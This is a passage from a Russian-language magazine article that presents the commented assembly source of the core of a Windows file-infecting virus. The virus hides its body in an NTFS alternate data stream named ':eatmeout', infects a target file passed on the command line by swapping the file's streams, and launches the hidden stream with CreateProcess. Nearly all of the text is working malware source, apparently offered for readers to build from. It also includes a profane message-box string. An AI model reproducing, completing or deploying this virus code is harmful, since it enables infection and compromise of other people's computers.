Исходный код вируса
Естественные языки (ну типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.
Ниже приведен исходный код ключевого фрагмента вируса с комментариями. Технические детали для экономии бумами опущены и лежат на лазерном диске, прилагаемом к журналу в файле xcode.asm.
section '.code' code readable executable
start:
; удаляем временный файл
push godown
call [DeleteFile]
; определяем наше имя
push
1000
push buf
push 0
call
[GetModuleFileName]
; считываем командную строку
; ключ --* filename - заразить
call [GetCommandLine]
mov ebp,eax
xor ebx,ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp
[eax], ebx ; конец командной строки?
jnz rool
; выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; добавляем к своему имени имя NTFS-потока
mov esi, code_name
mov edi, buf
mov ecx, 100; code_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; запускам NTFS-поток на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; выходим из вируса
infect:
; устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; тут не помешает вставить проверку dst на заражение
; переименовываем dst в godown
push godown
push ebp
call
[RenameFile]
; копируем в godown основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; добавляем к своему имени имя NTFS-потока
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; копируем godown в dst:eatout
push eax
push buf
push godown
call [CopyFile]
; тут не помешает добавить коррекцию длины заражаемого файла,
; удаляем godown
push godown
call [DeleteFile]
; выводим диагностическое сообщение,
; подтверждающие успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; выход из вируса
go2exit:
push 0
call [ExitProcess]
section '.data' data readable writeable
godown db "godown",0 ; имя временного файла
code_name db ":eatmeout",0 ; имя потока, в котором будет…
code_name_end: ; …сохранено основное тело
; различные текстовые строки, выводимые вирусом
aInfected db "infected",0
aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"
; различные буфера для служебных целей
buf rb
1000
xxx rb
1000
Листинг 1 исходный текст ключевого фрагмента вируса